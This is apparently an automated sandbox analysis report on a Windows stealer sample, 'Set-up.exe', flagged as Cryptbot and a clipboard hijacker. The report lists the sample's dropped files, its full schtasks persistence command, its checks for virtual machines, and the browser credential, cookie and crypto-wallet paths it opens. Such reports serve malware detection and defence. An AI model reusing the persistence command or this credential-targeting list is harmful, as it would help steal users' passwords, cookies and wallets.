Source: Set-up.exe, 00000001.00000002.1885871690.0000000001339000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameschtasks.exe.muij% vs Set-up.exe

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@1/1

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\EoWYsznETd

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8124:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\JKlWCrekKwLRYXCwLFnq

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Set-up.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Set-up.exe, 00000001.00000003.1457428196.0000000003181000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Set-up.exe

ReversingLabs: Detection: 42%

Source: Set-up.exe	String found in binary or memory: /addr_imp
Source: Set-up.exe	String found in binary or memory: /addr_imp

Source: unknown	Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: qebpvzajwjmnuitsbymn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: qebpvzajwjmnuitsbymn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: qebpvzajwjmnuitsbymn.dll	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Set-up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Set-up.exe

Static file information: File size 6616665 > 1048576

Source: Set-up.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x47ac00

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 6_2_002B14F0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_002B14F0

Source: Set-up.exe	Static PE information: section name: /4
Source: Set-up.exe	Static PE information: section name: /14
Source: Set-up.exe	Static PE information: section name: /29
Source: Set-up.exe	Static PE information: section name: /41
Source: Set-up.exe	Static PE information: section name: /55
Source: Set-up.exe	Static PE information: section name: /67
Source: Set-up.exe	Static PE information: section name: /80
Source: Set-up.exe	Static PE information: section name: /91
Source: Set-up.exe	Static PE information: section name: /102
Source: service123.exe.1.dr	Static PE information: section name: .eh_fram
Source: QebpVzajWJMNuiTsbyMN.dll.1.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002BA485 push es; iretd	6_2_002BA614
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002BB11B push eax; iretd	6_2_002BB171
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002BA393 push es; iretd	6_2_002BA614
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D6CDF push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C6CFD push eax; mov dword ptr [esp], ebx	6_2_6C9C6D11
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D6CE6 push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9DECE0 push eax; mov dword ptr [esp], ebx	6_2_6C9DEE15
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D6C7A push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2E00 push eax; mov dword ptr [esp], ebx	6_2_6C9E3134
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2E00 push edx; mov dword ptr [esp], ebx	6_2_6C9E3153
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C6E2A push eax; mov dword ptr [esp], ebx	6_2_6C9C6E3B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9F6E50 push eax; mov dword ptr [esp], ebx	6_2_6C9F7372
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9DEF40 push eax; mov dword ptr [esp], ebx	6_2_6C9DF06D
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D688A push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D68F6 push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D68EF push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9DE804 push eax; mov dword ptr [esp], ebx	6_2_6C9DE815
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2830 push eax; mov dword ptr [esp], ebx	6_2_6C9E2B64
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2830 push edx; mov dword ptr [esp], ebx	6_2_6C9E2B83
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9B2A90 push eax; mov dword ptr [esp], ebx	6_2_6C9B2AA4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C6B0C push ecx; mov dword ptr [esp], ebx	6_2_6C9C6B3A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C6B08 push ecx; mov dword ptr [esp], ebx	6_2_6C9C6B3A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9DEB5C push eax; mov dword ptr [esp], ebx	6_2_6C9DEB70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2B49 push eax; mov dword ptr [esp], ebx	6_2_6C9E2B64
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2B49 push edx; mov dword ptr [esp], ebx	6_2_6C9E2B83
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2B45 push edx; mov dword ptr [esp], ebx	6_2_6C9E2B83
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2B41 push eax; mov dword ptr [esp], ebx	6_2_6C9E2B64
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9E2B41 push edx; mov dword ptr [esp], ebx	6_2_6C9E2B83
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D649A push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9B64D9 push eax; mov dword ptr [esp], ebx	6_2_6C9B64ED
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9D64FF push eax; mov dword ptr [esp], esi	6_2_6CA3E4E1

Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\QebpVzajWJMNuiTsbyMN.dll			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Set-up.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_6-185349

Source: C:\Users\user\Desktop\Set-up.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Window / User API: threadDelayed 1012

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.2 %

Source: C:\Users\user\Desktop\Set-up.exe TID: 7704	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7996	Thread sleep count: 1012 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7996	Thread sleep time: -101200s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user	Jump to behavior

Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: Set-up.exe	Binary or memory string: VMware
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: Set-up.exe, 00000001.00000002.1885871690.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000001.00000003.1419945207.0000000001304000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000001.00000003.1687115905.0000000001304000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000001.00000002.1885871690.0000000001304000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: Set-up.exe	Binary or memory string: sbefore addDatAndEthFiles360ChromeX.exeAutoIt%wS (%wS)CapCutAdguard_Software_LimitedVMware/home/anal/bot/zip_include/zip.c(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0com.liberty.jaxxExodus EdenPreferenceswindowParams.jsonSonyCapCut DraftsMAGIXWindows 7 %wSDewMobileASUSBorisFXInnovative SolutionsUserBenchmarkCanvatbs_cache\gameeurNFTokxticketEthereum (UTC)user_data#2webviewdictionariesuser_dataBraavos Smart WalletsourceRonin WalletMikrotikSaRALogsXuanZhi9AVGBrowser.exeInputPersonalizationdevicesTrezorLinksSystem ProfileSnapshotsContinuous MigrationBNB Chain WalletSquirrelTempAmpljfoeinjpaedjfecbmggjgodbgkmjkjknkbihfbeogaeaoehlefnkodbefgpgknn
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: Set-up.exe, 00000001.00000002.1885871690.000000000132D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\6
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1419945207.0000000001304000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000001.00000003.1687115905.0000000001304000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000001.00000002.1885871690.0000000001304000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWun
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: Set-up.exe, 00000001.00000003.1457927611.000000000DADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 6_2_002B14F0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_002B14F0

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B117C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	6_2_002B117C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B1170 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	6_2_002B1170
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B11B3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	6_2_002B11B3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B13D1 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	6_2_002B13D1

Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 6_2_6C9E8AF0 cpuid

6_2_6C9E8AF0

Source: C:\Users\user\Desktop\Set-up.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 6.2.service123.exe.6c960000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1865318480.0000000004189000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Set-up.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: service123.exe PID: 7992, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7488, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Set-up.exe	String found in binary or memory: Electrum BTCP
Source: Set-up.exe	String found in binary or memory: \ElectronCash\wallets
Source: Set-up.exe, 00000001.00000000.1305670877.000000000087E000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: fxWindows ServicesWildTangentHP Active Healthblob_storageGamesManagerNox_share\JaxxnodCiscoSparkFilesDesktop) NavegadorSeguroCENEVALvlchodljvmsPanasonicjavaWebView2AspelAssistancepythonHisuiteISL Online CacheOthersTeam FoundationAdguard Software Limitedvivaldi.exeMovavi Video Converterlogins.jsonVaultEpicGamesLauncherlibrariesassets.minecraftCode\Intel_Corporation\Profiles\BrowsersLocal StateEAConnect_microsoftlghubimportjnlgamecbpmbajjfhmmmlhejkemejdmaSystemCertificatesRAV Endpoint Protection101103105104106100107102AppsTelegramTelegram ()\Exodus\backupExodus backup\MultiBitHDMultiBit HD\Electrum\wallets\ElectronCash\walletsElectron Cash\Electrum-btcp\walletsElectrum BTCP\walletsUnknown Wallet (Folder - wallets)webview2Rockstar GamesDisc_Soft_FZE_LLCDropbox\waves-clientatomPenWorkspaceProfiles\Windows XP Home Edition %wSmainnetSubresource Filteroptimization_guide_prediction_model_downloadsExtensionsAviraLogitechLGHUBRaveOpera BetaIntel(R)WorldOfTanksLenovoServiceBridgeI: (Version: )
Source: Set-up.exe	String found in binary or memory: com.liberty.jaxx
Source: Set-up.exe	String found in binary or memory: \Exodus\backup
Source: Set-up.exe	String found in binary or memory: Exodus Eden
Source: Set-up.exe	String found in binary or memory: Ethereum (UTC)

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
